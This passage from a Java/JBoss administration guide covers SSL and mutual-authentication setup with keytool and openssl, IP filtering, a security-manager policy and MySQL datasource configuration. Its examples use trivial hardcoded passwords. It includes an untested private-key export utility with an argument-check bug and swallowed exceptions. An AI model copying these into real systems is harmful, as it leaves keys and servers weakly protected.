Using a trusted certificate obtained from a well known CA

You may get the certificate in a format not appropriate for using it directly in JBoss/Tomcat. Youmay use the openssl tool to convert the certifcate and key in a suitable format:

openssl pkcs12 -export -out server.keystore -in certificate.pem -inkey private.key

If you get an error like this

10300:error:0D0680A8:asn1 encoding routines:ASN1_CHECK_TLEN:wrong tag:tasn_dec.c:1002:10300:error:0D07803A:asn1 encoding routines:ASN1_ITEM_EX_D2I:nested asn1error:tasn_dec.c:305:Type=PKCS12

you might have forgotten to add the "-export" option.

You can check if you have a valid keystore with the keytool (comes with the JDK):

$> keytool -list -keystore ssl.keystore -storetype PKCS12

Enter keystore password:

Keystore type: PKCS12Keystore provider: SunJSSE

Your keystore contains 1 entry

2, Jun 14, 2006, keyEntry,Certificate fingerprint (MD5): CB:47:4F:56:75:23:FA:9E:9C:7B:11:D9:8C:B3:D4:1E

Page 20: Java secure development   part 3

509 | P a g e

It's important that you have a keyEntry in there.

Authentication scenarios

In this section, we'll describe four typical SSL scenarios 1 - SSL enabled on the server - the common case 2 - SSL enabled on the server with self-signed client certs - aka mutual authentication -

standalone HTTP client 3 - SSL enabled on the server with self-signed client certs - aka mutual authentication - Web

Browser Client 4 - SSL enabled on the server with an openssl CA issued client cert - aka mutual authentication

with CA issued client cert

Setup

Grab a copy of the latest JBossAS release and explode it. Download the java client client-server-certs.zip from the attachment section Download the http client httpclient.zip from the attachment section Download openssl if you don't have it so that a pkcs12 key can be generated from the client

x509 cert to import into your browser. For win32 you can download Cygwin and for nixplatforms you can either build the dist from source obtained from the OpenSSL Site or searchthe web for an rpm or other binary package as required for your platform.

Use Cases

1 - SSL enabled on the server - the common case

In this configuration you need three files

1. server.keystore - contains the key pair2. server.cer - server certificate exported from the keystore3. client.truststore - contains the server certificate

Create the server keystore

keytool -genkey -alias serverkeys -keyalg RSA -keystore server.keystore -storepass 123456 -keypass 123456 -dname "CN=localhost, OU=MYOU, O=MYORG, L=MYCITY, ST=MYSTATE, C=MY"

Create the server certificate

Page 21: Java secure development   part 3

510 | P a g e

keytool -export -alias serverkeys -keystore server.keystore -storepass 123456 -file server.cer

Configure TomcatCopy server.keystore to /server/xxx/conf and update the following in server.xml(For JBoss AS 4.2.1 don't forget two additional attributes: protocol="HTTP/1.1" and SSLEnabled="true".)

<!-- SSL/TLS Connector configuration using the admin devl guide keystore--><Connector port="8443" address="${jboss.bind.address}"

maxThreads="100" strategy="ms" maxHttpHeaderSize="8192"emptySessionPath="true"scheme="https" secure="true" clientAuth="false"sslProtocol = "TLS"keystoreFile="${jboss.server.home.dir}/conf/server.keystore"keystorePass="123456"

></Connector>

Start the server

run -c default

Creating client.truststore (by importing server certificate)

keytool -import -v -keystore client.truststore -storepass 123456 -file server.cer

Run the client

java -Djavax.net.ssl.trustStore=client.truststore -Djavax.net.ssl.trustStorePassword=123456acme/ReadHttpsURL2 https://localhost:8443

SSL enabled on the server with self-signed client certs - aka mutual authentication -standalone HTTP client

To require that a http client presents a valid client certificate you need to add a clientAuth="true" attribute to theConnector configuration. Depending on how what root CA has signed the client cert you may need to also specify thetruststoreFile and truststorePass for the keystore containing the client cert signer.

In this configuration you need 6 files:

1. server.keystore - contains the key pair2. server.cer - server certificate exported from the keystore3. client.truststore - contains the the server certificate4. client.keystore - contains the key pair5. client.cer - client certificate exported from the keystore6. server.truststore - contains the client certificate

Page 22: Java secure development   part 3

511 | P a g e

Create the server keystore

keytool -genkey -alias serverkeys -keyalg RSA -keystore server.keystore -storepass 123456 -keypass 123456 -dname "CN=localhost, OU=MYOU, O=MYORG, L=MYCITY, ST=MYSTATE, C=MY"

Create the server certificate

keytool -export -alias serverkeys -keystore server.keystore -storepass 123456 -file server.cer

Create the client keystore

keytool -genkey -alias clientkeys -keyalg RSA -keystore client.keystore -storepass 123456 -keypass 123456 -dname "CN=localhost, OU=MYOU, O=MYORG, L=MYCITY, S=MYSTATE, C=MY"

Create the client certificate

keytool -export -alias clientkeys -keystore client.keystore -storepass 123456 -file client.cer

Import server certificate into client truststore

keytool -import -v -keystore client.truststore -storepass 123456 -file server.cer

Import client certificate into server truststore

keytool -import -v -keystore server.truststore -storepass 123456 -file client.cer

Update the Tomcat configuration

Copy both server.keystore and server.truststore to /server/xxx/conf and update the following in server.xml

NOTE: The attribute clientAuth is set to "true".

<!-- SSL/TLS Connector configuration using the admin devl guide keystore--><Connector port="8443" address="${jboss.bind.address}"

maxThreads="100" strategy="ms" maxHttpHeaderSize="8192"emptySessionPath="true"scheme="https" secure="true" clientAuth="true"sslProtocol = "TLS"keystoreFile="${jboss.server.home.dir}/conf/server.keystore"keystorePass="123456"truststoreFile="${jboss.server.home.dir}/conf/server.truststore"truststorePass="123456">

</Connector>

Start the server

run -c default

Page 23: Java secure development   part 3

512 | P a g e

Run the client

java -Djavax.net.ssl.keyStore=client.keystore -Djavax.net.ssl.keyStorePassword=123456-Djavax.net.ssl.trustStore=client.truststore -Djavax.net.ssl.trustStorePassword=123456acme/ReadHttpsURL2 https://localhost:8443

SSL enabled on the server with self-signed client certs - aka mutual authentication - WebBrowser Client

To enable mutual authentication between the client and server, a client cert must be generated.Both the client and server certs can be generated using the java keytool utility similar to howstep 1 was done. An issue with using the client cert in a browser is that the cert must beimported into the browser from a key format such as pkcs12, and keytool does not currentlysupport this format.

Because of this, openssl must be used to generate the required format from the keytool x509certificate. Since there are many steps in this process, the steps have been scripted in an ant1.6.x build.xml file that can be found in the ClientServerCerts.zip attachment. Download andunpack this zip file to create a client-server-certs directory that contains the build.xml script.

Cd to client-server-certs, and simply run ant to generate the client and server certs, keystoresand trustores. The output will be something like:

[starksm@banshee9100 client-server-certs]$ ant

Buildfile: build.xml

self-signed-certs:[echo] keytool -genkey -alias clientCert -keyalg RSA -validity 730 -keystore client.keystore -dname

cn=ClientCert,o=SomeCA,ou=SomeCAOrg -keypass clientcert -storepass clientcert

[exec] Keystore type: jks[exec] Keystore provider: SUN

[exec] Your keystore contains 1 entry

[exec] clientcert, Jun 17, 2005, keyEntry,[exec] Certificate fingerprint (MD5): A4:60:1C:44:17:F8:B4:80:BA:BC:AA:CF:5C:E9:50:32[echo] keytool -genkey -alias serverCert -keyalg RSA -validity 730 -keystore server.keystore -dname

cn=localhost,o=SomeCA,ou=SomeCAOrg -keypass servercert -storepass servercert

[exec] Keystore type: jks[exec] Keystore provider: SUN

[exec] Your keystore contains 1 entry

[exec] servercert, Jun 17, 2005, keyEntry,[exec] Certificate fingerprint (MD5): E1:46:C5:54:22:6B:D6:E5:AF:E3:11:98:55:AC:17:C9

Page 24: Java secure development   part 3

513 | P a g e

[echo] keytool -export -alias clientCert -keystore client.keystore -storepass clientcert -file client.cer[exec] Certificate stored in file <client.cer>[exec] Owner: CN=ClientCert, O=SomeCA, OU=SomeCAOrg[exec] Issuer: CN=ClientCert, O=SomeCA, OU=SomeCAOrg[exec] Serial number: 42b37131[exec] Valid from: Fri Jun 17 17:56:17 PDT 2005 until: Sun Jun 17 17:56:17 PDT 2007[exec] Certificate fingerprints:[exec] MD5: A4:60:1C:44:17:F8:B4:80:BA:BC:AA:CF:5C:E9:50:32[exec] SHA1: 29:66:59:3B:9F:9E:2B:C4:E0:1C:37:BB:7B:58:C3:DD:19:E5:DE:D4[echo] keytool -export -alias serverCert -keystore server.keystore -storepass servercert -file server.cer[exec] Certificate stored in file <server.cer>[exec] Owner: CN=localhost, O=SomeCA, OU=SomeCAOrg[exec] Issuer: CN=localhost, O=SomeCA, OU=SomeCAOrg[exec] Serial number: 42b37132[exec] Valid from: Fri Jun 17 17:56:18 PDT 2005 until: Sun Jun 17 17:56:18PDT 2007[exec] Certificate fingerprints:[exec] MD5: E1:46:C5:54:22:6B:D6:E5:AF:E3:11:98:55:AC:17:C9[exec] SHA1: 12:BC:6D:D5:06:B7:49:CD:DA:F4:C2:9D:5F:3F:C2:9C:5D:AF:EA:15[echo] keytool -import -alias serverCert -keystore client.truststore -storepass clientcert -file server.cer[exec] Owner: CN=localhost, O=SomeCA, OU=SomeCAOrg[exec] Issuer: CN=localhost, O=SomeCA, OU=SomeCAOrg[exec] Trust this certificate? [no]: Certificate was added to keystore[exec] Serial number: 42b37132[exec] Valid from: Fri Jun 17 17:56:18 PDT 2005 until: Sun Jun 17 17:56:18 PDT 2007[exec] Certificate fingerprints:[exec] MD5: E1:46:C5:54:22:6B:D6:E5:AF:E3:11:98:55:AC:17:C9[exec] SHA1: 12:BC:6D:D5:06:B7:49:CD:DA:F4:C2:9D:5F:3F:C2:9C:5D:AF:EA:15[echo] keytool -import -alias clientCert -keystore server.truststore -storepass servercert -file client.cer[exec] Owner: CN=ClientCert, O=SomeCA, OU=SomeCAOrg[exec] Issuer: CN=ClientCert, O=SomeCA, OU=SomeCAOrg[exec] Trust this certificate? [no]: Certificate was added to keystore[exec] Serial number: 42b37131[exec] Valid from: Fri Jun 17 17:56:17 PDT 2005 until: Sun Jun 17 17:56:17 PDT 2007[exec] Certificate fingerprints:[exec] MD5: A4:60:1C:44:17:F8:B4:80:BA:BC:AA:CF:5C:E9:50:32[exec] SHA1: 29:66:59:3B:9F:9E:2B:C4:E0:1C:37:BB:7B:58:C3:DD:19:E5:DE:D4[echo] client.keystore contents:

[exec] Keystore type: jks[exec] Keystore provider: SUN

[exec] Your keystore contains 1 entry

[exec] clientcert, Jun 17, 2005, keyEntry,[exec] Certificate fingerprint (MD5): A4:60:1C:44:17:F8:B4:80:BA:BC:AA:CF:5C:E9:50:32[echo] server.keystore contents:

[exec] Keystore type: jks[exec] Keystore provider: SUN

[exec] Your keystore contains 1 entry

[exec] servercert, Jun 17, 2005, keyEntry,[exec] Certificate fingerprint (MD5): E1:46:C5:54:22:6B:D6:E5:AF:E3:11:98:55:AC:17:C9

Page 25: Java secure development   part 3

514 | P a g e

BUILD SUCCESSFULTotal time: 3 seconds[starksm@banshee9100 client-server-certs]$ lsbuild.xml client.keystore* server.cer* server.truststore*client.cer* client.truststore* server.keystore* src/

Next, create a pkcs12 formatted key to import into your browser. This is done by running the cer2pkcs12 target.

[starksm@banshee9100 client-server-certs]$ ant cer2pkcs12Buildfile: build.xml

cer2pkcs12:[mkdir] Created dir: C:\tmp\client-server-certs\classes[javac] Compiling 1 source file to C:\tmp\client-server-certs\classes[echo] openssl x509 -out client-pem.cer -outform pem -text -in client.cer -inform der[echo] openssl pkcs12 -export -out client.p12 -inkey client.8 -in client-pem.cer -passout pass:clientcert

BUILD SUCCESSFULTotal time: 2 seconds[starksm@banshee9100 client-server-certs]$ lsbuild.xml client.cer* client.p8* server.keystore*classes/ client.keystore* client.truststore* server.truststore*client-pem.cer client.p12 server.cer* src/

The resulting client.p12 file is the pkcs12 formatted private key for the x509 client cert created in the first step. Thisshould be imported into your browser. For Mozilla Firefox 1.0.x, this entails selecting Tools/Options menu, selectingthe Advanced section of the options dialog, and selecting the Manage Certificates... button to display the importdialog. The client.p12 password to use for the import is "clientcert", without the quotes.

You should also import the server.cer x509 cert into the Authorities section so that the server's self signed cert is seenas trusted. Otherwise, the browser should prompt you about an untrusted server cert when you try an httpsconnection.

Next, copy the server.keystore and server.truststore to the jboss server/default/conf directory, or the conf directoryof whatever server configuration you are using.

Next, edit the deploy/jbossweb-tomcat55.sar/server.xml file to enable the SSL connector. The Connector elementshould look like the following, with clientAuth="true" to require that clients provide a certificate.

<!-- SSL/TLS Connector conf using the server.{keystore,truststore}--><Connector port="8443" address="${jboss.bind.address}"

protocol="HTTP/1.1" SSLEnabled="true"maxThreads="100" strategy="ms" maxHttpHeaderSize="8192"emptySessionPath="true"scheme="https" secure="true" clientAuth="true"keystoreFile="${jboss.server.home.dir}/conf/server.keystore"keystorePass="servercert"truststoreFile="${jboss.server.home.dir}/conf/server.truststore"truststorePass="servercert"sslProtocol = "TLS">

</Connector>

You should now be able to connect to the jboss server using https and the browser should display a dialog asking forthe cert to use (unless the browser is configured to do this automatically). An example of the dialog from the Firefox1.0.4 browser is shown here:

Page 26: Java secure development   part 3

515 | P a g e

4 - SSL enabled on the server with an openssl CA issued client cert - aka mutualauthentication with CA issued client cert

Install openssl and configure its CAFirst, you need to configure the certificate authority application of OpenSSL. churchillobjects.com has a goodoverview of the required steps in the Generating a Certificate Authority article. See the ca manpage for the full detailsof the OpenSSL ca command.

Create server openssl CA signed cert using keytool

[starksm@banshee9100 openssl-ca]$ keytool -genkey -alias unit-tests-server -keystore localhost.keystoreEnter keystore password: unit-tests-serverWhat is your first and last name?

[Unknown]: localhostWhat is the name of your organizational unit?

[Unknown]: QAWhat is the name of your organization?

[Unknown]: JBoss Inc.What is the name of your City or Locality?

[Unknown]: Snoqualmie PassWhat is the name of your State or Province?

[Unknown]: WashingtonWhat is the two-letter country code for this unit?

[Unknown]: US

Page 27: Java secure development   part 3

516 | P a g e

Is CN=localhost, OU=QA, O=JBoss Inc., L=Snoqualmie Pass, ST=Washington, C=US correct?[no]: yes

Enter key password for <unit-tests-server>(RETURN if same as keystore password):

Create a cert signing request for the server key

[starksm@banshee9100 conf]$ keytool -keystore localhost.keystore -certreq -alias unit-tests-server -file unit-tests-server.csrEnter keystore password: unit-tests-server

Sign the cert request

[starksm@banshee9100 openssl-ca]$ openssl ca -config openssl.cnf -in unit-tests-server.csr -out unit-tests-server.pemUsing configuration from openssl.cnfEnter pass phrase for ./private/cakey.pem: openssl-caDEBUG[load_index]: unique_subject = "no"Check that the request matches the signatureSignature okThe Subject's Distinguished Name is as followscountryName PRINTABLE:'US'stateOrProvinceName PRINTABLE:'Washington'localityName PRINTABLE:'Snoqualmie Pass'organizationName PRINTABLE:'JBoss Inc.'organizationalUnitName:PRINTABLE:'QA'commonName PRINTABLE:'localhost'Certificate is to be certified until Jul 30 21:39:21 2005 GMT (365 days)Sign the certificate? [y/n]:y

1 out of 1 certificate requests certified, commit? [y/n]yWrite out database with 1 new entriesData Base Updated

Convert to DER

[starksm@banshee9100 openssl-ca]$ openssl x509 -in unit-tests-server.pem -out unit-tests-server.cer

import CA root to keystore

[starksm@banshee9100 openssl-ca]$ keytool -keystore localhost.keystore -alias openssl-ca -import -filecacert.pemEnter keystore password: unit-tests-serverOwner: CN=jboss.com, C=US, ST=Washington, L=Snoqualmie Pass, [email protected], OU=QA, O=JBoss Inc.Issuer: CN=jboss.com, C=US, ST=Washington, L=Snoqualmie Pass, [email protected], OU=QA, O=JBoss Inc.Serial number: 0Valid from: Wed May 26 00:53:20 PDT 2004 until: Sat May 24 00:53:20 PDT 2014Certificate fingerprints:

Page 28: Java secure development   part 3

517 | P a g e

MD5: B3:34:05:D0:7D:7E:18:A5:E3:0B:82:0A:D9:54:41:7ESHA1: F0:85:B4:14:8C:4E:92:CB:68:E6:D6:08:DC:86:94:E5:BF:DC:58:32

Trust this certificate? [no]: yesCertificate was added to keystore

Import CA reply

[starksm@banshee9100 openssl-ca]$ keytool -keystore localhost.keystore -alias unit-tests-server -import -fileunit-tests-server.cerEnter keystore password: unit-tests-serverCertificate reply was installed in keystore[starksm@banshee9100 openssl-ca]$ ls -l localhost.keystore-rwxrwxrwx 1 starksm None 3247 Jul 30 14:44 localhost.keystore*[starksm@banshee9100 openssl-ca]$ keytool -list -keystore localhost.keystoreEnter keystore password: unit-tests-server

Keystore type: jksKeystore provider: SUN

Your keystore contains 2 entries

unit-tests-server, Jul 30, 2004, keyEntry,Certificate fingerprint (MD5): 34:35:A5:4A:EB:F3:3C:F8:60:C1:86:05:07:01:4B:DDopenssl-ca, Jul 30, 2004, trustedCertEntry,Certificate fingerprint (MD5): B3:34:05:D0:7D:7E:18:A5:E3:0B:82:0A:D9:54:41:7E

Import the client cert

[starksm@banshee9100 openssl-ca]$ keytool -import -keystore localhost.keystore -alias unit-tests-client -fileunit-tests-client.cerEnter keystore password: unit-tests-serverCertificate was added to keystore

[starksm@banshee9100 openssl-ca]$ keytool -list -keystore localhost.keystoreEnter keystore password: unit-tests-server

Keystore type: jksKeystore provider: SUN

Your keystore contains 3 entries

unit-tests-client, Jul 30, 2004, trustedCertEntry,Certificate fingerprint (MD5): 4A:9C:2B:CD:1B:50:AA:85:DD:89:F6:1D:F5:AF:9E:ABunit-tests-server, Jul 30, 2004, keyEntry,Certificate fingerprint (MD5): 34:35:A5:4A:EB:F3:3C:F8:60:C1:86:05:07:01:4B:DDopenssl-ca, Jul 30, 2004, trustedCertEntry,Certificate fingerprint (MD5): B3:34:05:D0:7D:7E:18:A5:E3:0B:82:0A:D9:54:41:7E[starksm@banshee9100 openssl-ca]$

Another (untested) keystore/openssl recipe:

Create Keystore certificate:

Page 29: Java secure development   part 3

518 | P a g e

1. keytool -genkey -keystore {keystore location} -keyalg RSA -alias postgresql -dname "cn=www.beyarecords.com,ou=Music, o=Urban Music, c=GB" -keystore ~/postgresql -validity 365

2. keytool -selfcert -keystore {keystore location} -alias postgresql3. keytool -export -keystore {keystore location} -alias postgresql -rfc -file postgresql.cer4. keytool -import -keystore {keystore location} -alias postgresql -file postgresql.cer

Export private key from keystore alias:

1. java ExportPrivateKey <keystore> <alias> <password> > exported-pkcs8.key2. openssl pkcs8 -inform PEM -nocrypt -in exported-pkcs8.key -out postgresql.key

Note: main keystore location on OS X is: /library/java/home/lib/security/cacerts

The ExportPrivateKey class:

package security;

import java.io.File;import java.io.FileInputStream;import java.security.Key;import java.security.KeyPair;import java.security.KeyStore;import java.security.KeyStoreException;import java.security.NoSuchAlgorithmException;import java.security.PrivateKey;import java.security.PublicKey;import java.security.UnrecoverableKeyException;import java.security.cert.Certificate;

import sun.misc.BASE64Encoder;

public class ExportPrivateKey{

public static void main(String args[]) throws Exception{

for (int i = 0; i < args.length; i++){

System.out.println(i + ": " + args);}if (args.length < 2){

//Yes I know this sucks (the password is visible to other users via ps// but this was a quick-n-dirty fix to export from a keystore to pkcs12// someday I may fix, but for now it'll have to do.System.err.println("Usage: java ExportPriv <keystore> <alias> <password>");System.exit(1);

}ExportPrivateKey myep = new ExportPrivateKey();myep.doit(args[0], args[1], args[2]);

}

public void doit(String fileName, String aliasName, String pass) throws Exception{

Page 30: Java secure development   part 3

519 | P a g e

KeyStore ks = KeyStore.getInstance("JKS");

char[] passPhrase = pass.toCharArray();BASE64Encoder myB64 = new BASE64Encoder();

File certificateFile = new File(fileName);ks.load(new FileInputStream(certificateFile), passPhrase);

KeyPair kp = getPrivateKey(ks, aliasName, passPhrase);

PrivateKey privKey = kp.getPrivate();

String b64 = myB64.encode(privKey.getEncoded());

System.out.println("-----BEGIN PRIVATE KEY-----");System.out.println(b64);System.out.println("-----END PRIVATE KEY-----");

}

// From http://javaalmanac.com/egs/java.security/GetKeyFromKs.html

public KeyPair getPrivateKey(KeyStore keystore, String alias, char[] password){

try{

// Get private keyKey key = keystore.getKey(alias, password);if (key instanceof PrivateKey){

// Get certificate of public keyCertificate cert = keystore.getCertificate(alias);

// Get public keyPublicKey publicKey = cert.getPublicKey();

// Return a key pairreturn new KeyPair(publicKey, (PrivateKey) key);

}}catch (UnrecoverableKeyException e){}catch (NoSuchAlgorithmException e){}catch (KeyStoreException e){}return null;

}

}

Page 31: Java secure development   part 3

520 | P a g e

More Info

Another guide to creating certificates using OpenSSL and JBoss Setup - Creating an SSL KeystoreUsing the Java Keytool

References

JavaTM Secure Socket Extension (JSSE) Reference Guide Security chapter from JBoss Development and Administration book

Attachments:

client-server-certs.zip (3.4 K) httpclient.zip (1.3 K)

Limiting client access using Tomcat (Engine, Host, or Context level)When securing HTTP traffic, you may wish to consider limiting access to clients with a certain IP address. You can dothis at many levels. To limit client access at a high level, such as the entire server, you may use a Tomcat valve.

Tomcat has two valves that filter traffic based on the client IP addresses. They are the RemoteAddrValveandthe RemoteHostValve. Both of these valves are extended from RequestFilterValve.

For a discussion of how to configure Tomcat valves see http://tomcat.apache.org/tomcat-5.5-doc/config/host.html (Tomcat 5.5) or http://tomcat.apache.org/tomcat-6.0-doc/config/host.html (Tomcat 6.0).

Note: The documentation on using these valves when Tomcat is embedded in JBoss is confusing, but it is simple todo. Although Tomcat scans various directories for context.xml.default and context.xml for defaults, to set a valve ona single Tomcat /context you need WEB-INF/context.xml in the application's WAR.

An example of context.xml that allows accesses from 127.0.0.x and 10.x.x.x:

<?xml version="1.0"?><Context debug="1" privileged="true" >

<Valve className="org.apache.catalina.valves.RemoteAddrValve"allow="127\.0\.0\.\d{1,3},10\.\d{1,3}\.\d{1,3}\.\d{1,3}"deny="" />

</Context>

For more discussions on context.xml, see Web-App Context Configuration.

No editing of the Tomcat server.xml is required unless you're applying valves to Hosts. In the latter, edit eitherserver.xml or jboss-service.xml based on JBoss version:

Page 32: Java secure development   part 3

521 | P a g e

JBoss versions server.xml or jboss-service.xml

4.2.0 and higher <jboss install dir>/server/<configuration>/deploy/jboss-web.deployer/server.xml

3.2.4 and 4.0.x <jboss install dir>/server/<configuration>/deploy/jbossweb-tomcat50.sar/server.xml

3.2.3 and lower <jboss install dir>/server/<configuration>/deploy/jbossweb-tomcat41.sar/META-INF/jboss-server.xml

Limiting client access using a servlet filter (Servlet or url-pattern level)To limit client access to a particular servlet or to requests that match a url pattern, you can use the servlet filterattached to this page. This requires JDK 1.4 or higher.

To install, place the attached jar in your WEB-INF/lib directory. If you want to use it in multiple web applications thenyou can instead put it in your

The attached web.xml file is an example that shows how to configure the filter. The main thing to look at is the filterdefinition:

<filter><filter-name>RemoteHostFilter</filter-name><filter-class>org.jboss.remotehostfilter.RemoteHostFilter</filter-class><init-param>

<param-name>deny</param-name><param-value>150.0.0.*</param-value>

</init-param><init-param>

<param-name>allow</param-name><param-value>192.4.5.6,127.0.0.*</param-value>

</init-param></filter>

This filter is configured by setting the "allow" and/or "deny" properties to a comma-delimited list of regularexpressions(in the syntax supported by the java.util.regex package) to which the client IP address will be compared.

Evaluation proceeds as follows:

If there are any deny expressions configured, the IP will be compared to each expression. If a match is found, thisrequest will be rejected with a "Forbidden" HTTP response.

If there are any allow expressions configured, the IP will be compared to each such expression. If a match is NOTfound, this request will be rejected with a "Forbidden" HTTP response.

Otherwise, the request will continue normally.

Don't forget to add an appropriate "filter-mapping" element, or this filter will never be applied.Attachments:

web.xml (1.5 K) hostfilter.jar (3.7 K)

Page 33: Java secure development   part 3

522 | P a g e

RemoteHostFilter.java (5.1 K) TestServlet.java (2.5 K)

ConfiguringAJavaSecurityManager

How to Run JBoss with a Java Security ManagerBy default the JBoss server does not start with a Java 2 security manager. If you want to restrict privileges of codeusing Java 2 permissions you need to configure the JBoss server to run under a security manager. This is done byconfiguring the Java VM options in the run.bat or run.sh scripts in the JBoss server distribution bin directory. The tworequired VM options are as follows:

java.security.manager: This is used without any value to specify that the default security manager should be used.This is the preferred security manager. You can also pass a value to the java.security.manager option to specify acustom security manager implementation. The value must be the fully qualified class name of a subclass ofjava.lang.SecurityManager. This form specifies that the policy file should augment the default security policy asconfigured by the VM installation.

java.security.policy: This is used to specify the policy file that will augment the default security policy information forthe VM. This option takes two forms: java.security.policy=policyFileURL and java.security.policy==policyFileURL. Thefirst form specifies that the policy file should augment the default security policy as configured by the VM installation.The second form specifies that only the indicated policy file should be used. The policyFileURL value can be any URLfor which a protocol handler exists, or a file path specification.

Both the run.bat and run.sh start scripts reference an JAVA_OPTS variable which you can use to set the securitymanager properties.

Enabling Java 2 security is the easy part. The difficult part of Java 2 security is establishing the allowed permissions. Asample server.policy file that is used as part of the testsuite is the following:

// The Java2 security policy for the securitymgr tests// Install with -Djava.security.policy==server.policy// and -Djboss.home.dir=path_to_jboss_distribution// and -Djboss.server.home.dir=path_to_jboss_server_home

// Trusted core Java codegrant codeBase "file:${java.home}/lib/ext/-" {

permission java.security.AllPermission;};grant codeBase "file:${java.home}/lib/*" {

permission java.security.AllPermission;};// For java.home pointing to the JDK jre directorygrant codeBase "file:${java.home}/../lib/*" {

permission java.security.AllPermission;};

// Trusted core Jboss codegrant codeBase "file:${jboss.home.dir}/bin/-" {

permission java.security.AllPermission;};grant codeBase "file:${jboss.home.dir}/lib/-" {

Page 34: Java secure development   part 3

523 | P a g e

permission java.security.AllPermission;};grant codeBase "file:${jboss.server.home.dir}/lib/-" {

permission java.security.AllPermission;};grant codeBase "file:${jboss.server.home.dir}/deploy/-" {

permission java.security.AllPermission;};grant codeBase "file:${jboss.server.home.dir}/work/-" {

permission java.security.AllPermission;};

// Minimal permissions are allowed to everyone elsegrant {

permission java.util.PropertyPermission "*", "read";permission java.lang.RuntimePermission "queuePrintJob";permission java.net.SocketPermission "*", "connect";permission java.lang.RuntimePermission "accessClassInPackage.*";permission java.lang.RuntimePermission "org.jboss.security.SecurityAssociation.getSubject";permission javax.management.MBeanServerPermission "findMBeanServer";permission javax.management.MBeanPermission

"org.jboss.mx.modelmbean.XMBean#*[JMImplementation:type=MBeanRegistry]", "*";permission javax.security.auth.AuthPermission "createLoginContext.*";

};

An example JAVA_OPTS enhancement example is:

JAVA_OPTS="$JAVA_OPTS -Djava.security.manager -Djava.security.policy=${build.resources}/securitymgr/server.policy"JAVA_OPTS="$JAVA_OPTS -Djboss.home.dir=/releases/jboss-4.0.3SP1"JAVA_OPTS="$JAVA_OPTS -Djboss.server.home.dir=/releases/jboss-4.0.3SP1/server/default"

Client applications should be deployed outside of the server distribution or under a directory other than${jboss.server.home.dir}/deploy to only receive the minimal permissions grant, and this URL added to theURLDeploymentScanner URLs attribute conf:

<!-- An mbean for hot deployment/undeployment of archives.--><mbean code="org.jboss.deployment.scanner.URLDeploymentScanner"

name="jboss.deployment:type=DeploymentScanner,flavor=URL">

...<attribute name="URLs">

deploy/,apps-deploy/</attribute>

This would pickup deployments from the usual ${jboss.server.home.dir}/deploy directory as well as from a custom${jboss.server.home.dir}/apps-deploy directory.

SetUpAMysqlDatasource

Page 35: Java secure development   part 3

524 | P a g e

Setting up a MySQL datasource

Download the driver

First, http://www.mysql.com/products/connector/j/ appropriate for your edition of mySQL. Next, untar/unzip it and extract the jar file. Copy the jar file into $JBOSS_HOME/server/xxx/lib, where xxx is your config name (such as "default") NOTE: For JBoss

4.0.2, use the jar file mysql-connector-java-3.1.8-bin.jar, not mysql-connector-java-3.1.8-bin-g.jar. Copy the $JBOSS_HOME/docs/examples/jca/mysql-ds.xml file to $JBOSS_HOME/server/xxx/deploy

Configure the datasource

Edit the mysql-ds.xml file. Replace <jndi-name>MySqlDS</jndi-name> with your datasource name. If you choose to make mySQL your default

database (DefaultDS), then call this DefaultDS and be sure to delete the example$JBOSS_HOME/server/all/deploy/hsqldb-ds.xml which is also configured to be DefaultDS.

Replace <connection-url>jdbc:mysql://mysql-hostname:3306/jbossdb</connection-url> with your connectionstring. Generally you just need to replace mysql-hostname with your host. Be sure that your user has permission toconnect to that hostname.

Set the user-name and hostname elements to your database username and hostname

Advanced options for the MySQL Driver can be set with <connection-property name="property">value</connection-property>.Refer to MySQL Connector/J Manual Chapter 2 for more Information.

Named pipes

Under Windows NT/2000/XP you can connect to the MySQL Server via named pipes if the MySQL server and JBoss arerunning on the same machine. Following the Connector/J documentation this is 30%-50% faster than TCP/IP access.

Set the opion enable-named-pipe in the my.ini and restart the MySQL Server (the server variable named_pipe mustbe ON)

Set the Property socketFactory to com.mysql.jdbc.NamedPipeSocketFactory Set the JDBC URL to jdbc:mysql://./databasename

Automatic reconnect

WARNING: DO NOT ENABLE AUTO RECONNECT IF YOU ARE USING MANAGED TRANSACTIONS

The auto reconnect does not preserve transaction state in the database.

It is ok if you are ALWAYS using auto-commit=true.

autoReconnect (default = false) Set the driver to reconnect if the MySQL Server fails. maxReconnects (default = 3) Maximum number of connection attembts. initialTimeout (default = 2) Delay in seconds between connection atembts

Page 36: Java secure development   part 3

525 | P a g e

JBossMQ

First copy $JBOSS_HOME/docs/examples/jms/mysql-jdbc2-service.xml to $JBOSS_HOME/server/xxx/deploy/jms Delete hsqldb-jdbc2-service.xml from $JBOSS_HOME/server/xxx/deploy/jms NOTE: If you made mysql your DefaultDS above, you need to edit $JBOSS_HOME/server/xx/deploy/jms/mysql-jdbc2-

service.xml and set the DataSourceBinding.name by replacing <depends optional-attribute-name="ConnectionManager">jboss.jca:service=DataSourceBinding,name=MySqlDS</depends> with <dependsoptional-attribute-name="ConnectionManager">jboss.jca:service=DataSourceBinding,name=DefaultDS</depends>

NOTE: The maximum length for JMS destinations in the example mysql-jdbc2-service.xml file in JBoss 4.0.2 is 150characters. This is typically too short to contain the full destination name, especially if a message selector isinvolved. You may need to alter the CREATE_MESSAGE_TABLE line so that the maximum length of the DESTINATIONcolumn is 255 characters. Alternately, for even longer names, make it a TEXT column type and specify a maximumlength of 255 to use in the primary key. That is:

CREATE_MESSAGE_TABLE = CREATE TABLE JMS_MESSAGES (MESSAGEID INTEGER NOT NULL, DESTINATIONVARCHAR(255) NOT NULL, TXID INTEGER, TXOP CHAR(1), MESSAGEBLOB LONGBLOB, PRIMARY KEY (MESSAGEID,DESTINATION))

Or

CREATE_MESSAGE_TABLE = CREATE TABLE JMS_MESSAGES (MESSAGEID INTEGER NOT NULL, DESTINATION TEXT NOTNULL, TXID INTEGER, TXOP CHAR(1), MESSAGEBLOB LONGBLOB, PRIMARY KEY (MESSAGEID, DESTINATION(255)))

Troubleshooting

If you get connection or password errors, it is most likely an issue of permissions to the hostname supplied. Seethe http://dev.mysql.com/doc/mysql/en/Adding_users.html.

If you try connecting to "localhost" and keep getting permission errors regarding "localhost.localdomain", you'rerunning redhat Linux. There are a variety of potential causes--please visit the MySQL documentation on AccessDenied Causes for more information.

If you get errors regarding creating the tables while deploying an entity bean, then perhaps your user doesn't havepermission to create tables in that database. You can grant the user.. Seehttp://dev.mysql.com/doc/mysql/en/Adding_users.html for more information.

Examples

MySQL server on localhost with TCP/IP connection on port 3306 and autoReconnectenabled

This is a bad idea, it is ok for no-tx-datasource.

<datasources><local-tx-datasource>

